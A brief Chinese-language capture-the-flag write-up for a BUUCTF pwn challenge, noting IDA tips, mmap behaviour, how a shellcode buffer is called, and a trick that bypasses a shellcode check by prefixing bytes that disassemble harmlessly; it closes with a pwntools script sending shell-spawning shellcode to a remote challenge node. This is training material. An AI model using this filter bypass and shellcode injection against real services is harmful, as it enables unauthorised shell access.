我只能说现在水平还太菜,每题都有new things~
盘点收获先:
IDA上,当直接F5无法出现伪代码时可以考虑在 “IDA view-A 上利用这个”
2.
注意一下这里mmap申请的内存以后会将内存首地址返回给寄存器“rax”所以有了这边的赋值给buff
3. “ ((void (*)(void))buf)()”关于shellcode的调用方式这是一种
4. 本题核心:shellcode检查的绕过:
# pwn disasm 示例
$ pwn disasm -c amd64 0400
0: 04 00 add al, 0x0
用 "pwn disasm -c amd64 ~~~"来得到汇编语句。
WP:
from pwn import*
context.arch="amd64"
p=remote('node4.buuoj.cn',29798)
pay='\x00\x42\x00'+asm(shellcraft.sh())
p.sendline(pay)
p.interactive()